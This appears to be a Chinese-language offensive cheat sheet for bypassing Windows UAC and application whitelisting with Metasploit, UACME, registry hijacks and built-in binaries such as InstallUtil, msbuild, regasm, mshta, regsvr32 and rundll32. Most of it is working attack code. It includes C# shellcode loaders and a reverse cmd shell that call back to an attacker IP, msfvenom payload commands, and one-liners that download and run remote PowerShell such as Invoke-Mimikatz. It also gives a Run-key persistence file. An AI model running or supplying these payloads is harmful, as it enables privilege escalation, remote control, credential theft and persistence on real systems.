http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit

MSF

发现补丁
#use post/windows/gather/enum_patches
列举可用EXP
#use post/multi/recon/local_exploit_suggester

Bypass UAC

MSF

>use exploit/windows/local/bypassuac 
>use exploit/windows/local/bypassuac_injection
>use exploit/windows/local/bypassuac_vbs
>use exploit/windows/local/bypassuac_fodhelper
>use exploit/windows/local/bypassuac_eventvwr
>use exploit/windows/local/bypassuac_comhijack

DccwBypassUAC

Use on win10&win8

image

K8uac

>k8uac.exe xx.exe
>k8uac.exe "command"

CMSTP

设置UAC和Applocker规则

image image image image

MSF生成恶意DLL传入靶机
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/cm.dll

image

DLL同目录下建立run.inf,RegisterOCXSection指定dll位置,也可以指定远程webdav
如:\\192.168.0.107\webdav\cm.dll
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\y.SUB2K8\Desktop\cm.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="cmstp"
ShortSvcName="cmstp"
执行命令可绕过UAC和Applocker上线
>cmstp /s run.inf

image

Uacme

包括DLL劫持,COM劫持等50多种bypass方法
https://github.com/hfiref0x/UACME

image

使用visual studio编译
Visual Studio 2013v120;
Visual Studio 2015v140;
Visual Studio 2017v141;
Visual Studio 2019v142。
目前共59种bypassuac方式
执行方法是
>akagi.exe 1
>akagi.exe 1 c:\windows\system32\cmd.exe
>akagi.exe 1 "net user 1 1 /add"
注意:
方式5,9会对目标安全性产生影响,谨慎使用,5需重启
方式6从win8开始在x64上不可用
方式11,54只支持x32 
方式13,19,30,50只支持x64
方式14需要进程注入,x64要使用x64的工具

Bypass-UAC

https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC
>Bypass-UAC -Method UacMethodSysprep

image

Method:
UacMethodSysprep
ucmDismMethod
UacMethodMMC2
UacMethodTcmsetup
UacMethodNetOle32

DLL hijack

程序运行,调用DLL的流程
1.程序所在目录
2.系统目录即 SYSTEM32 目录
3.16位系统目录即 SYSTEM 目录
4.Windows目录
5.加载 DLL 时所在的当前目录
6.PATH环境变量中列出的目录
使用
https://docs.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
检查一个程序的是否以高权限执行
>sigcheck.exe -m c:\1.exe
查看autoElevate是否为true

image

使用process monitor查看对应程序执行时调用的DLL情况,查找DLL不在
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs列表中,并且所在文件夹当前用户可读写,接下来生成恶意dll备份原DLL替换,再运行此程序即可劫持成功。

SilentCleanup

>reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
>schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Sdclt

win10
1
>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /t REG_SZ /d %COMSPEC% /f 获得管理员权限
>sdclt 弹出cmd
>reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f 清除痕迹
2
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1
>Invoke-SDCLTBypass -Command "c:\windows\system32\cmd.exe /c C:\Windows\regedit.exe"
>sdclt.exe /KickOffElev

Makecab&Wusa

复制文件出错时

image

>makecab PsExec64.exe C:\Users\y.ZONE\Desktop\ps.cab
>wusa C:\Users\y.ZONE\Desktop\ps.cab /extract:C:\Windows\system32\

image

CLR BypassUAC

Tested on win10 x64
生成dll传入受控机temp目录,以下保存为1.bat执行。
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
受控机执行gpedit.msc或eventvwr等高权限.net程序时可劫持成功。

image

执行后

image image image

eventvwr劫持注册表

打开ProcessMonitor,启动eventvwr,ctrl+T打开进程树,选择进程转到事件

image

右键选择包括eventvwr.exe

image

只选择显示注册表活动

image

添加一条过滤器,显示not found文件

image

找到相应的注册表位置

image image

值修改为

image

MSF监听,再次打开eventvwr

image

Web Delivery

>use exploit/multi/script/web_delivery
>set target 3
>set payload windows/x64/meterpreter/reverse_tcp
>exploit
>use auxiliary/server/regsvr32_command_delivery_server
>set cmd ipconfig
>use exploit/windows/misc/regsvr32_applocker_bypass_server

Invoke-PsUACme

method="sysprep","oobe","ActionQueue","migwiz","cliconfg","winsat","mmc"
>Invoke-PsUACme -method oobe -Payload "c:\user\a\desktop\x.exe"
需指定绝对路径
>Invoke-PsUACme -method oobe -Payload "powershell -w hidden -e xxxxxx"
>Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
MSFVENOM生成psh-reflection格式脚本
>Invoke-PsUACme –Payload "powershell c:\1.ps1"

Whitelist(白名单)

GreatSCT

>git clone https://github.com/GreatSCT/GreatSCT.git
>cd GreatSCT/setup&./setup.sh
>use Bypass
>list
>use regasm/meterpreter/rev_tcp.py
>msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

JSRat

>JSRat.py -i 192.168.1.107 -p 4444

Odbcconf.exe

>odbcconf.exe /a {regsvr C:\shell.dll} 可以是任意后缀

Msiexec.exe

>msiexec /y c:\user\admin\desktop\1.dll
>msiexec /q /i http://192.168.0.107/dll.dll

InstallUtil.exe

>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:y.exe  /unsafe C:\Users\y\Desktop\1.cs
using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Configuration.Install;
using System.Windows.Forms;
public class GQLBigHgUniLuVx {
	public static void Main()
	{
		while(true)
		{{ MessageBox.Show("doge"); Console.ReadLine();}}
	}
}
[System.ComponentModel.RunInstaller(true)]
public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
	public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
	{
		jkmhGrfzsKQeCG.LCIUtRN();
	}
}
public class jkmhGrfzsKQeCG
{ [DllImport("kernel")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
static byte[] ErlgHH(string ZwznjBJY,int KsMEeo) {
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
catch { return null;}
byte[] UmquAHRnhhpuE = new byte[4];
XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0);
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE,0);
byte[] qaYyFq = new byte[kFVRSNnpj +5];
int SRCDELibA =0;
while(SRCDELibA < kFVRSNnpj)
{ SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA +5,(kFVRSNnpj - SRCDELibA)<4096 ? (kFVRSNnpj - SRCDELibA) : 4096,0);}
byte[] TvvzOgPLqwcFFv =BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
Array.Copy(TvvzOgPLqwcFFv,0, qaYyFq,1,4); qaYyFq[0]=0xBF;
return qaYyFq;}
static void cmMtjerv(byte[] HEHUjJhkrNS) {
if(HEHUjJhkrNS !=null) {
UInt32 WcpKfU = VirtualAlloc(0,(UInt32)HEHUjJhkrNS.Length,0x1000,0x40);
Marshal.Copy(HEHUjJhkrNS,0,(IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
UInt32 wdjYKFDCCf =0;
IntPtr XVYcQxpp = IntPtr.Zero;
UhxtIFnlOQatrk = CreateThread(0,0, WcpKfU, XVYcQxpp,0, ref wdjYKFDCCf);
WaitForSingleObject(UhxtIFnlOQatrk,0xFFFFFFFF); }}
public static void LCIUtRN() {
byte[] IBtCWU =null; IBtCWU = ErlgHH("192.168.0.107",12138);
cmMtjerv(IBtCWU);
} }
生成exe后执行
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\y.exe
MSF监听12138端口

Compiler.exe

>C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe 1.xml 1.tcp

image

1.xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>1.tcp</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true"/>
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
1.tcp
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities; 
public class Program : SequentialWorkflowActivity
{
static StreamWriter streamWriter; 
public Program()
{
using(TcpClient client = new TcpClient("192.168.0.107", 12138))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream); 
StringBuilder strInput = new StringBuilder(); 
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine(); 
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
} 
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder(); 
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
} 
}
>msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f csharp
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe 1.xml 1.cs

image

using System.Workflow.Activities;
using System.Net; 
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr DStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVpSg);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
public yrDaTlg() {
byte[] QWKpWKhcs =
{SHELLCODE
};
IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTfwBS = IntPtr.Zero;
uint BnhanUiUJaetgy;
bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
}

Csc

>msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f csharp
>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out: C:\Users\y\Desktop\shell.exe /platform:x64 /unsafe C:\Users\y\Desktop\shell.cs
>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices; 
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
byte[] shellcode = new byte[510] {
 SHELLCODE
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}

Regasm

>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out: C:\Users\y\Desktop\dll.dll  /unsafe C:\Users\y\Desktop\dll.cs
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /u dll.dll
namespace HYlDKsYF
 {
	 public class kxKhdVzWQXolmmF : ServicedComponent {
		 public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); }
		 [ComRegisterFunction]
		 public static void RegisterClass ( string pNNHrTZzW )
		 {
			 ZApOAKJKY.QYJOTklTwn();
			 }
			 [ComUnregisterFunction]
			 public static void UnRegisterClass ( string pNNHrTZzW )
			 {
				 ZApOAKJKY.QYJOTklTwn();
				 }
				 }
				 public class ZApOAKJKY  { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
				 [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
				 [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
				 [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF,UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
				 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy,int iJGvqiEDGLhjr) {
					 IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy),iJGvqiEDGLhjr);
					 Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
					 try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
					 catch { return null;}
					 byte[] Bjpvhc = new byte[4];
					 MXCEuiuRIWgOYze.Receive(Bjpvhc,4,0);
int IETFBI = BitConverter.ToInt32(Bjpvhc,0);
byte[] ZKSAAFwxgSDnTW = new byte[IETFBI +5];
int JFPJLlk =0;
while(JFPJLlk < IETFBI)
{ JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk +5,(IETFBI - JFPJLlk)<4096 ? (IETFBI - JFPJLlk) : 4096,0);}
byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
Array.Copy(nXRztzNVwPavq,0, ZKSAAFwxgSDnTW,1,4); ZKSAAFwxgSDnTW[0]=0xBF;
return ZKSAAFwxgSDnTW;}
static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
	if(KNCtlJWAmlqJ !=null) {
		UInt32 uuKxFZFwog = HeapCreate(0x00040000,(UInt32)KNCtlJWAmlqJ.Length,0);
	UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog,0x00000008,(UInt32)KNCtlJWAmlqJ.Length);
	RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ,(UInt32)KNCtlJWAmlqJ.Length);
	UInt32 ijifOEfllRl =0;
	IntPtr ihXuoEirmz = CreateThread(0,0, sDPjIMhJIOAlwn, IntPtr.Zero,0, ref ijifOEfllRl);
	WaitForSingleObject(ihXuoEirmz,0xFFFFFFFF);}}
	
	public static void QYJOTklTwn() {
		byte[] ZKSAAFwxgSDnTW =null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.0.107",12138);
		TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
		} } }

Msbuild

https://gitee.com/RichChigga/msbuild-exec
MSF监听
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe 1.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="iJEKHyTEjyCU">
<xUokfh />
</Target>
<UsingTask
TaskName="xUokfh"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class xUokfh : Task, ITask {
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 ogephG,UInt32 fZZrvQ, UInt32 nDfrBaiPvDyeP, UInt32 LWITkrW);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 qEVoJxknom, UInt32 gZyJBJWYQsnXkWe, UInt32 jyIPELfKQYEVZM,IntPtr adztSLHGJiurGO, UInt32 vjSCprCJ, ref UInt32 KbPukprMQXUp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wVCIQGmqjONiM, UInt32 DFgVrE);
static byte[] VYcZlUehuq(string IJBRrBqhigjGAx, int XBUCexXIrGIEpe) {
IPEndPoint DRHsPzS = new IPEndPoint(IPAddress.Parse(IJBRrBqhigjGAx),XBUCexXIrGIEpe);
Socket zCoDOd = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { zCoDOd.Connect(DRHsPzS); }
catch { return null;}
byte[] OCrGofbbWRVsFEl = new byte[4];
zCoDOd.Receive(OCrGofbbWRVsFEl, 4, 0);
int auQJTjyxYw = BitConverter.ToInt32(OCrGofbbWRVsFEl, 0);
byte[] MlhacMDOKUAfvMX = new byte[auQJTjyxYw + 5];
int GFtbdD = 0;
while (GFtbdD < auQJTjyxYw)
{ GFtbdD += zCoDOd.Receive(MlhacMDOKUAfvMX, GFtbdD + 5, (auQJTjyxYw -GFtbdD) < 4096 ? (auQJTjyxYw - GFtbdD) : 4096, 0);}
byte[] YqBRpsmDUT = BitConverter.GetBytes((int)zCoDOd.Handle);
Array.Copy(YqBRpsmDUT, 0, MlhacMDOKUAfvMX, 1, 4); MlhacMDOKUAfvMX[0]= 0xBF;
return MlhacMDOKUAfvMX;}
static void NkoqFHncrcX(byte[] qLAvbAtan) {
if (qLAvbAtan != null) {
UInt32 jrYMBRkOAnqTqx = VirtualAlloc(0, (UInt32)qLAvbAtan.Length, 0x1000, 0x40);
Marshal.Copy(qLAvbAtan, 0, (IntPtr)(jrYMBRkOAnqTqx),qLAvbAtan.Length);
IntPtr WCUZoviZi = IntPtr.Zero;
UInt32 JhtJOypMKo = 0;
IntPtr UxebOmhhPw = IntPtr.Zero;
WCUZoviZi = CreateThread(0, 0, jrYMBRkOAnqTqx, UxebOmhhPw, 0, ref JhtJOypMKo);
WaitForSingleObject(WCUZoviZi, 0xFFFFFFFF); }}
public override bool Execute()
{
byte[] uABVbNXmhr = null; uABVbNXmhr = VYcZlUehuq("192.168.0.107",12138);
NkoqFHncrcX(uABVbNXmhr);
return true; } }
]]>
</Code>
</Task>
</UsingTask>
</Project>

Winrm

MSF监听

image

>mkdir winrm
>copy c:\Windows\System32\cscript.exe winrm
创建文件WsmPty.xsl复制payload进去
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd");
 ]]> </ms:script>
</stylesheet>

image

执行
>cscript.exe //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

image

Mshta

>use exploit/windows/misc/hta_server
>set srvhost 192.168.0.107
>mshta http://192.168.0.107:8080/RgNeCv.hta

image

执行vb
	>mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)
Js
	>mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}
Jsrat
	>mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

Regsvr32

上线Empire
>usestager windows/launcher_sct
生成sct文件放入web目录
>regsvr32 /s /n /u /i:http://192.168.0.107:8080/launcher.sct scrobj.dll
>cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:http://192.168.0.107/test.sct

Rundll32

执行文件
>rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe
>rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe
>rundll32 url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
>rundll32 url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
>rundll32 url.dll, FileProtocolHandler calc.exe
无弹窗执行
>rundll32 javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/mshta.exe http://192.168.0.107:8080/SU8Fd6kNRz0.hta",0,true);self.close();
增删注册表
保存为.inf文件
>rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=AddReg
DelReg=DelReg
[AddReg] #删除DelReg删掉红色部分执行
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,SYSTEM,0x00000000,c:/windows/temp/sv.exe
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)
写文件
>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.FileSystemObject");a=fso.CreateTextFile("c:\\Temp\\testfile.txt",true);a.WriteLine("Test");a.Close();self.close();
Out-RundllCommand
使用nishang脚本Out-RundllCommand生成rundll代码
>powershell -nop -w h -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Execution/Out-RundllCommand.ps1'); Out-RundllCommand -Reverse -IPAddress 192.168.0.107 -Port 12345"

image image

注:低版本powershell,隐藏窗口只识别-w hidden,高版本可以-w h
执行远程PS脚本
>Out-RundllCommand -PayloadURL http://192.168.0.107/Invoke-PowerShellUdp.ps1 -Arguments "Invoke-PowerShellUdp -Reverse -IPAddress 192.168.0.107 -Port 12138"
上线MSF
生成psh-reflection格式脚本
>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell -w hidden -nologo -noprofile -ep bypass IEX ((New-Object Net.WebClient).DownloadString('http://192.168.0.107/xx.ps1'));",0,true);

DotNetToJScript

通过js/vbs执行.net程序
https://github.com/tyranid/DotNetToJScript/releases
>DotNetToJScript.exe -o 1.js ExampleAssembly.dll 生成js
>DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dll生成vbs
>DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dll 生成vba
